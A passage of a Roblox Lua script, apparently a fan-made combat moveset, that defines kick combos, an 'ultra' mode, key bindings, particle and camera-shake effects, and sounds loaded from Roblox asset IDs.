3416 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.2, -0.5) * LHCF * angles(math.rad(0), math.rad(0), math.rad(-34)), 0.2)
3417 end
3418 Cracking.Playing = false
3419 so("http://www.roblox.com/asset/?id=197161452", char, 3, 0.8)
3420 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3421 SphereEffect(BrickColor.new("Lime green"),tors.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,38,38,38,0.08)
3422 local velo=Instance.new("BodyVelocity")
3423 velo.velocity=vt(0,27,0)
3424 velo.P=11000
3425 velo.maxForce=Vector3.new(math.huge, math.huge, math.huge)
3426 velo.Parent=root
3427 game:GetService("Debris"):AddItem(velo,1.24)
3428
3429
3430
3431 con5=hum.Touched:connect(function(hit)
3432 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3433 if attackdebounce == false then
3434 attackdebounce = true
3435 coroutine.resume(coroutine.create(function()
3436 for i = 0,1.5,0.1 do
3437 swait()
3438 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,3.4,-1.8)
3439 end
3440 end))
3441 so("http://roblox.com/asset/?id=636494529",rl,2,1.6)
3442 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3443 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3444 SphereEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3445
3446
3447
3448 coroutine.resume(coroutine.create(function()
3449 for i = 0,1,0.1 do
3450 swait()
3451 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3452 end
3453 end))
3454
3455
3456 wait(0.09)
3457 attackdebounce = false
3458 end
3459 end
3460 end)
3461
3462 for i = 0, 9.11, 0.2 do
3463 swait()
3464 BlockEffect(BrickColor.new("Lime green"), rl.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3465 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, 0.1+0.12*i) * angles(math.rad(-10-95*i), math.rad(0), math.rad(0)), 0.42)
3466 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(-43), math.rad(0), math.rad(0)), 0.42)
3467 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(-8), math.rad(0), math.rad(60)), 0.35)
3468 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.5, 0) * angles(math.rad(-8), math.rad(0), math.rad(-60)), 0.35)
3469 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.5, 0) * RHCF * angles(math.rad(0), math.rad(0), math.rad(20+10*i)), 0.42)
3470 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.5, -0.4) * LHCF * angles(math.rad(0), math.rad(0), math.rad(24)), 0.42)
3471 end
3472
3473
3474
3475
3476 con5:disconnect()
3477
3478
3479
3480
3481
3482
3483 con5=hum.Touched:connect(function(hit)
3484 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3485 if attackdebounce == false then
3486 attackdebounce = true
3487 coroutine.resume(coroutine.create(function()
3488 for i = 0,1.5,0.1 do
3489 swait()
3490 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.1,-1.8)
3491 end
3492 end))
3493 so("http://roblox.com/asset/?id=636494529",rl,2,1.6)
3494 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3495 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3496 SphereEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3497
3498
3499
3500 coroutine.resume(coroutine.create(function()
3501 for i = 0,1,0.1 do
3502 swait()
3503 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3504 end
3505 end))
3506
3507
3508 wait(0.08)
3509 attackdebounce = false
3510 end
3511 end
3512 end)
3513
3514
3515
3516 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3517 for i = 0, 9.14, 0.3 do
3518 swait()
3519 root.Velocity = root.CFrame.lookVector * 20
3520 BlockEffect(BrickColor.new("Lime green"), ll.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3521 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.87) * angles(math.rad(53), math.rad(8), math.rad(0-54*i)), 0.35)
3522 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(12), math.rad(0), math.rad(24)), 0.35)
3523 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(12), math.rad(0), math.rad(62)), 0.35)
3524 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.3, 0) * angles(math.rad(12), math.rad(0), math.rad(-23)), 0.35)
3525 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.17, -0.4) * RHCF * angles(math.rad(7), math.rad(0), math.rad(4)), 0.35)
3526 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.13, -0.6) * LHCF * angles(math.rad(-64-7*i), math.rad(0), math.rad(0-9*i)), 0.35)
3527 end
3528
3529
3530
3531 con5:disconnect()
3532
3533
3534
3535 con5=hum.Touched:connect(function(hit)
3536 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3537 if attackdebounce == false then
3538 attackdebounce = true
3539 coroutine.resume(coroutine.create(function()
3540 for i = 0,1.5,0.1 do
3541 swait()
3542 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.1,-1.8)
3543 end
3544 end))
3545 so("http://roblox.com/asset/?id=636494529",rl,2,1.6)
3546 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3547 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3548 SphereEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3549
3550
3551
3552 coroutine.resume(coroutine.create(function()
3553 for i = 0,1,0.1 do
3554 swait()
3555 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3556 end
3557 end))
3558
3559
3560 wait(0.05)
3561 attackdebounce = false
3562 end
3563 end
3564 end)
3565
3566
3567 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3568 for i = 0, 15.14, 0.32 do
3569 swait()
3570 root.Velocity = root.CFrame.lookVector * 20
3571 BlockEffect(BrickColor.new("Lime green"), ll.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3572 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.87) * angles(math.rad(-21-50*i), math.rad(8+20*i), math.rad(0-90*i)), 0.35)
3573 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(12), math.rad(0), math.rad(24)), 0.35)
3574 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(12), math.rad(0), math.rad(62)), 0.35)
3575 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.3, 0) * angles(math.rad(12), math.rad(0), math.rad(-23)), 0.35)
3576 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.17, -0.4) * RHCF * angles(math.rad(7), math.rad(0), math.rad(4)), 0.35)
3577 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.13, -0.6) * LHCF * angles(math.rad(-64-2*i), math.rad(0), math.rad(0-4*i)), 0.35)
3578 end
3579
3580 attack = false
3581 con5:disconnect()
3582
3583 end
3584
3585
3586
3587
3588
3589 local ultra = false
3590
3591 function Galekicks()
3592
3593 attack = true
3594 so("http://www.roblox.com/asset/?id=1452040709", RightLeg, 3, 1)
3595 for i = 0, 1.65, 0.1 do
3596 swait()
3597 root.Velocity = root.CFrame.lookVector * 0
3598 SphereEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3599 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-32), math.rad(-2), math.rad(90)), 0.2)
3600 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-17), math.rad(-90)), 0.2)
3601 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.3)
3602 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.3)
3603 RH.C0 = clerp(RH.C0, CFrame.new(1, .62 , -0.3) * RHCF * angles(math.rad(-40), math.rad(0), math.rad(2)), 0.2)
3604 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-28), math.rad(0), math.rad(0)), 0.2)
3605 end
3606
3607
3608 for i = 1, 17 do
3609
3610 con5=hum.Touched:connect(function(hit)
3611 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3612 if attackdebounce == false then
3613 attackdebounce = true
3614 coroutine.resume(coroutine.create(function()
3615 for i = 0,1.5,0.1 do
3616 swait()
3617 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.1,-1.8)
3618 end
3619 end))
3620 so("http://roblox.com/asset/?id=636494529",rl,2,1.6)
3621 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3622 RingEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3623 SphereEffect(BrickColor.new("Lime green"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3624
3625
3626
3627 coroutine.resume(coroutine.create(function()
3628 for i = 0,1,0.1 do
3629 swait()
3630 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3631 end
3632 end))
3633
3634
3635 wait(0.05)
3636 attackdebounce = false
3637 end
3638 end
3639 end)
3640
3641 for i = 0, .1, 0.2 do
3642 swait()
3643 BlockEffect(BrickColor.new("Lime green"), rl.CFrame*CF(0,-1,0), 2, 2, 2, 1.5, 1.5, 1.5, 0.03)
3644 root.Velocity = root.CFrame.lookVector * 10
3645 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, -0.5, -0.3) * angles(math.rad(-44), math.rad(-2), math.rad(90)), 0.7)
3646 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-24), math.rad(-90)), 0.7)
3647 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.7)
3648 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.7)
3649 RH.C0 = clerp(RH.C0, CFrame.new(1, -.6 , 0) * RHCF * angles(math.rad(math.random(-100,-10)), math.rad(0), math.rad(2)), 0.7)
3650 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-34), math.rad(0), math.rad(0)), 0.7)
3651 end
3652
3653 so("http://roblox.com/asset/?id=1340545854",rl,1,math.random(0.7,1))
3654
3655 for i = 0, 0.4, 0.2 do
3656 swait()
3657 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-32), math.rad(-2), math.rad(90)), 0.2)
3658 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-17), math.rad(-90)), 0.2)
3659 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.3)
3660 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.3)
3661 RH.C0 = clerp(RH.C0, CFrame.new(1, .62 , -0.3) * RHCF * angles(math.rad(-40), math.rad(0), math.rad(2)), 0.2)
3662 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-28), math.rad(0), math.rad(0)), 0.2)
3663 end
3664 con5:disconnect()
3665 end
3666
3667
3668 u = mouse.KeyDown:connect(function(key)
3669 if key == 'r' and combohits >= 150 then
3670 ultra = true
3671 SphereEffect(BrickColor.new("Really red"),tors.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,15,15,15,0.04)
3672 end
3673 end)
3674 wait(0.3)
3675 if ultra == true then
3676 combohits = 0
3677 wait(0.1)
3678 for i = 0, 1.65, 0.1 do
3679 swait()
3680 root.Velocity = root.CFrame.lookVector * 0
3681 SphereEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3682 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-32), math.rad(-2), math.rad(90)), 0.2)
3683 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-17), math.rad(-90)), 0.2)
3684 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.3)
3685 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.3)
3686 RH.C0 = clerp(RH.C0, CFrame.new(1, .62 , -0.3) * RHCF * angles(math.rad(-40), math.rad(0), math.rad(2)), 0.2)
3687 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-28), math.rad(0), math.rad(0)), 0.2)
3688 end
3689
3690
3691 so("http://roblox.com/asset/?id=146094803",hed,1,1.2)
3692
3693 for i = 1, 65 do
3694 --Aura(5, 0.15, "Add" , root.CFrame * CF(Mrandom(-12, 12), -6, Mrandom(-12, 12)) * angles(Rad(90 + Mrandom(-12, 12)), 0, 0), 1.5, 1.5, 10, -0.015, BrickC"Really red", 0, "Brick")
3695 con5=hum.Touched:connect(function(hit)
3696 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3697 if attackdebounce == false then
3698 attackdebounce = true
3699 coroutine.resume(coroutine.create(function()
3700 for i = 0,1.5,0.1 do
3701 swait()
3702 hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.1,-1.8)
3703 end
3704 end))
3705 so("http://roblox.com/asset/?id=636494529",rl,2,1.6)
3706 RingEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3707 RingEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3708 SphereEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3709
3710
3711
3712 coroutine.resume(coroutine.create(function()
3713 for i = 0,1,0.1 do
3714 swait()
3715 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3716 end
3717 end))
3718
3719
3720 wait(0.05)
3721 attackdebounce = false
3722 end
3723 end
3724 end)
3725
3726 for i = 0, .03, 0.1 do
3727 swait()
3728 BlockEffect(BrickColor.new("Really red"), rl.CFrame*CF(0,-1,0), 2, 2, 2, 1.5, 1.5, 1.5, 0.03)
3729 root.Velocity = root.CFrame.lookVector * 10
3730 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, -0.5, -0.3) * angles(math.rad(-44), math.rad(-2), math.rad(90)), 0.7)
3731 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-24), math.rad(-90)), 0.7)
3732 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.7)
3733 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.7)
3734 RH.C0 = clerp(RH.C0, CFrame.new(1, -.6 , 0) * RHCF * angles(math.rad(math.random(-100,-10)), math.rad(0), math.rad(2)), 0.7)
3735 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-34), math.rad(0), math.rad(0)), 0.7)
3736 end
3737
3738 so("http://roblox.com/asset/?id=1340545854",rl,1,math.random(0.7,1))
3739
3740 for i = 0, 0.07, 0.1 do
3741 swait()
3742 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-32), math.rad(-2), math.rad(90)), 0.2)
3743 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-17), math.rad(-90)), 0.2)
3744 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.3)
3745 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.3)
3746 RH.C0 = clerp(RH.C0, CFrame.new(1, .62 , -0.3) * RHCF * angles(math.rad(-40), math.rad(0), math.rad(2)), 0.2)
3747 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-28), math.rad(0), math.rad(0)), 0.2)
3748 end
3749 con5:disconnect()
3750 end
3751
3752 for i = 0, 1.65, 0.1 do
3753 swait()
3754 root.Velocity = root.CFrame.lookVector * 0
3755 SphereEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-50,50),math.random(-50,50),math.random(-50,50)),1,5,1,.05,4,.05,0.03)
3756 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0.7, -0.3) * angles(math.rad(-32), math.rad(-2), math.rad(90)), 0.2)
3757 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-17), math.rad(-90)), 0.2)
3758 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.3)
3759 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.3)
3760 RH.C0 = clerp(RH.C0, CFrame.new(1, .62 , -0.3) * RHCF * angles(math.rad(-40), math.rad(0), math.rad(2)), 0.2)
3761 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-28), math.rad(0), math.rad(0)), 0.2)
3762 end
3763
3764 con5=hum.Touched:connect(function(hit)
3765 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3766 if attackdebounce == false then
3767 attackdebounce = true
3768 coroutine.resume(coroutine.create(function()
3769 for i = 0,1.5,0.1 do
3770 swait()
3771 --hit.Parent.Head.CFrame = root.CFrame * CFrame.new(0,1.1,-1.8)
3772 end
3773 end))
3774 so("http://roblox.com/asset/?id=636494529",rl,2,.63)
3775 RingEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3776 RingEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,.2,2,.2,0.06)
3777 SphereEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,3,3,3,0.06)
3778
3779
3780 coroutine.resume(coroutine.create(function()
3781 for i = 0,1,0.1 do
3782 swait()
3783 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8),math.random(-0.55*1.8,0.55*1.8)),0.34)
3784 end
3785 end))
3786
3787
3788 wait(0.05)
3789 attackdebounce = false
3790 end
3791 end
3792 end)
3793
3794 so("http://www.roblox.com/asset/?id=1452040709", RightLeg, 1, 1.4)
3795 SphereEffect(BrickColor.new("Really red"),rl.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,38,38,38,0.08)
3796
3797 for i = 0, 2, 0.1 do
3798 swait()
3799 --BlockEffect(BrickColor.new("Really red"), rl.CFrame*CF(0,-1,0), 2, 2, 2, 1.5, 1.5, 1.5, 0.03)
3800 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, -0.5, -0.3) * angles(math.rad(-32), math.rad(-2), math.rad(90)), 0.2)
3801 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(0), math.rad(-17), math.rad(-90)), 0.2)
3802 RW.C0 = clerp(RW.C0, CFrame.new(1.1, 0.5, -0.6) * angles(math.rad(90), math.rad(0), math.rad(-56)), 0.3)
3803 LW.C0 = clerp(LW.C0, CFrame.new(-1.2, 0.6, -0.5) * angles(math.rad(90), math.rad(0), math.rad(56)), 0.3)
3804 RH.C0 = clerp(RH.C0, CFrame.new(1, -.6 , 0.2) * RHCF * angles(math.rad(-50), math.rad(0), math.rad(2)), 0.2)
3805 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.7, 0) * LHCF * angles(math.rad(-28), math.rad(0), math.rad(0)), 0.2)
3806 end
3807 SphereEffect(BrickColor.new("Really red"),tors.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,8,8,8,0.04)
3808
3809 wait(0.25)
3810 con5:Disconnect()
3811
3812
3813
3814
3815 con5=hum.Touched:connect(function(hit)
3816 if hit.Parent:FindFirstChildOfClass("Humanoid") ~= nil then
3817 if attackdebounce == false then
3818 attackdebounce = true
3819
3820 so("http://roblox.com/asset/?id=565207203",ll,7,0.63)
3821
3822 RingEffect(BrickColor.new("Really red"),ll.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,2.2,6,2.2,0.04)
3823 RingEffect(BrickColor.new("Really red"),ll.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,2.2,6,2.2,0.04)
3824 SphereEffect(BrickColor.new("Really red"),ll.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,8,8,8,0.04)
3825 SpecialEffect(BrickColor.new("Really red"),ll.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,8,8,8,0.04)
3826 SphereEffect(BrickColor.new("Really red"),ll.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,5,18,5,0.04)
3827 WaveEffect(BrickColor.new("Really red"),ll.CFrame*angles(math.random(-360,360),math.random(-360,360),math.random(-360,360)),1,5,1,1.5,16,1.5,0.04)
3828
3829 coroutine.resume(coroutine.create(function()
3830 for i = 0,1,0.1 do
3831 swait()
3832 hum.CameraOffset = hum.CameraOffset:lerp(Vector3.new(math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8),math.random(-0.35*1.8,0.35*1.8)),0.24)
3833 end
3834 end))
3835
3836 wait(0.06)
3837 attackdebounce = false
3838
3839 end
3840 end
3841 end)
3842
3843 coroutine.resume(coroutine.create(function()
3844 while ultra == true do
3845 swait()
3846 root.CFrame = root.CFrame*CFrame.new(math.random(-3,3),math.random(-2,2),math.random(-3,3))
3847 end
3848 end))
3849
3850
3851 so("http://www.roblox.com/asset/?id=158475221", RightLeg, 1, 1.3)
3852 for i = 1,3 do
3853 for i = 0, 9.14, 0.45 do
3854 swait()
3855 root.Velocity = root.CFrame.lookVector * 30
3856 BlockEffect(BrickColor.new("Really red"), ll.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3857 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.87) * angles(math.rad(8), math.rad(8), math.rad(0-94*i)), 0.35)
3858 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(12), math.rad(0), math.rad(24)), 0.35)
3859 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(12), math.rad(0), math.rad(62)), 0.35)
3860 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.3, 0) * angles(math.rad(12), math.rad(0), math.rad(-23)), 0.35)
3861 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.17, -0.4) * RHCF * angles(math.rad(7), math.rad(0), math.rad(4)), 0.35)
3862 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.13, -0.6) * LHCF * angles(math.rad(-64-7*i), math.rad(0), math.rad(0-9*i)), 0.35)
3863 end
3864 end
3865
3866
3867 for i = 1,3 do
3868 for i = 0, 11.14, 0.45 do
3869 swait()
3870 root.Velocity = root.CFrame.lookVector * 30
3871 BlockEffect(BrickColor.new("Really red"), ll.CFrame*CF(0,-1,0), 2, 2, 2, 3.5, 3.5, 3.5, 0.05)
3872 rootj.C0 = clerp(rootj.C0, RootCF * CFrame.new(0, 0, -0.87) * angles(math.rad(-21-30*i), math.rad(8+10*i), math.rad(0-110*i)), 0.35)
3873 tors.Neck.C0 = clerp(tors.Neck.C0, necko * angles(math.rad(12), math.rad(0), math.rad(24)), 0.35)
3874 RW.C0 = clerp(RW.C0, CFrame.new(1.5, 0.5, 0) * angles(math.rad(12), math.rad(0), math.rad(62)), 0.35)
3875 LW.C0 = clerp(LW.C0, CFrame.new(-1.5, 0.3, 0) * angles(math.rad(12), math.rad(0), math.rad(-23)), 0.35)
3876 RH.C0 = clerp(RH.C0, CFrame.new(1, -0.17, -0.4) * RHCF * angles(math.rad(27), math.rad(0), math.rad(74)), 0.35)
3877 LH.C0 = clerp(LH.C0, CFrame.new(-1, -0.13, -0.6) * LHCF * angles(math.rad(-34-2*i), math.rad(0), math.rad(0-9*i)), 0.35)
3878 end
3879
3880
3881
3882 end
3883 so("http://www.roblox.com/asset/?id=197161452", char, 0.5, 0.8)
3884 con5:disconnect()
3885
3886
3887 end -- combo hit end
3888 attack = false
3889 ultra = false
3890 u:disconnect()
3891
3892 end
3893
3894
3895
3896
3897 -------------------------------------------------------
3898 --End Attacks N Stuff--
3899 -------------------------------------------------------
3900 mouse.KeyDown:connect(function(key)
3901 if string.byte(key) == 48 then
3902 Swing = 2
3903 hum.WalkSpeed = 24.82
3904 end
3905 end)
3906 mouse.KeyUp:connect(function(key)
3907 if string.byte(key) == 48 then
3908 Swing = 1
3909 hum.WalkSpeed = 8
3910 end
3911 end)
3912
3913
3914
3915
3916
3917
3918
3919 mouse.Button1Down:connect(function()
3920 if attack==false then
3921 if attacktype==1 then
3922 attack=true
3923 attacktype=2
3924 attackone()
3925 elseif attacktype==2 then
3926 attack=true
3927 attacktype=3
3928 attacktwo()
3929 elseif attacktype==3 then
3930 attack=true
3931 attacktype=4
3932 attackthree()
3933 elseif attacktype==4 then
3934 attack=true
3935 attacktype=1
3936 attackfour()
3937 end
3938 end
3939 end)
3940
3941
3942
3943
3944 mouse.KeyDown:connect(function(key)
3945 if key == 'e' and attack == false and cankick == true and cooldown == false then
3946 quickkick()
3947 cooldown = true
3948
3949 coroutine.resume(coroutine.create(function()
3950 wait(2)
3951 cooldown = false
3952 end))
3953
3954
3955
3956 end
3957 end)
3958
3959
3960
3961
3962
3963
3964
3965
3966 mouse.KeyDown:connect(function(key)
3967 if attack == false then
3968 if key == 't' then
3969 Taunt()
3970 elseif key == 'f' then
3971 Hyperkickcombo()
3972 elseif key == 'r' then
3973 Galekicks()
3974 end
3975 end
3976 end)
3977
3978 -------------------------------------------------------
3979 --Start Animations--
3980 -------------------------------------------------------
3981 print("By Makhail07 and KillerDarkness0105")
3982 print("Basic Animations by Makhail07")
3983 print("Attack Animations by KillerDarkness0105")
3984 print("This is pretty much our final script together")
3985 print("--------------------------------")
3986 print("Attacks")
3987 print("E in air: Quick Kicks")
3988 print("Left Mouse: 4 click combo")
3989 print("F: Hyper Kicks")
3990 print("R: Gale Kicks, Spam R if your combo is over 150 to do an ultra combo")
3991 print("--------------------------------")
3992 while true do
3993 swait()
3994 sine = sine + change
3995 local torvel = (root.Velocity * Vector3.new(1, 0, 1)).magnitude
3996 local velderp = root.Velocity.y
